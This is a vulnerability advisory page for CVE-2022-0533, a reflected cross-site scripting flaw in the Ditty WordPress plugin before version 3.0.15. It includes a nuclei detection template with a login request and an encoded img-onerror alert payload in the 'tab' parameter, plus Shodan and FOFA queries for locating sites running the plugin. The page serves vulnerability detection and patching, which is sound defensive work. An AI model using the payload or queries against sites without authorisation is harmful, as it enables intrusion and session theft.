Ditty (formerly Ditty News Ticker) < 3.0.15 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.8%likelihood of exploitation, next 30 days

79%of all CVEs are less likely

Readycheck to confirm it

The Ditty (formerly Ditty News Ticker) WordPress plugin before 3.0.15 is affected by a Reflected Cross-Site Scripting (XSS) vulnerability.

Impact

Authenticated attackers can inject malicious JavaScript via the tab parameter, potentially stealing administrator session cookies or performing administrative actions.

Fix

upgrade to v.3.0.15

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/edit.php?post_type=ditty&page=ditty_settings&tab=%22%3E%3Cimg+src+onerror%3Dalert%28document.domain%29%3E
Positive when: status_code_2 == 200 and contains(content_type_2, "text/html") and contains_all(body_2, "<img src onerror=alert(document.domain)>", "ditty")

Run it with nuclei: nuclei -id CVE-2022-0533 -u <target>

The full check

id: CVE-2022-0533

info:
  name: Ditty (formerly Ditty News Ticker) < 3.0.15 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Ditty (formerly Ditty News Ticker) WordPress plugin before 3.0.15 is affected by a Reflected Cross-Site Scripting (XSS) vulnerability.
  impact: |
    Authenticated attackers can inject malicious JavaScript via the tab parameter, potentially stealing administrator session cookies or performing administrative actions.
  remediation: upgrade to v.3.0.15
  reference:
    - https://wpscan.com/vulnerability/40f36692-c898-4441-ad24-2dc17856bd74
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0533
    - https://vulners.com/cve/CVE-2022-0533
    - https://plugins.trac.wordpress.org/changeset/2675223/ditty-news-ticker
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0533
    cwe-id: CWE-79
    epss-score: 0.01809
    epss-percentile: 0.78786
    cpe: cpe:2.3:a:metaphorcreations:ditty:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: metaphorcreations
    product: ditty
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/ditty-news-ticker/
    fofa-query: body=/wp-content/plugins/ditty-news-ticker/
    publicwww-query: "/wp-content/plugins/ditty-news-ticker/"
  tags: cve,cve2022,xss,ditty-news-ticker,wp,wordpress,wpscan,wp-plugin,authenticated,metaphorcreations,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/edit.php?post_type=ditty&page=ditty_settings&tab=%22%3E%3Cimg+src+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains_all(body_2, "<img src onerror=alert(document.domain)>", "ditty")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from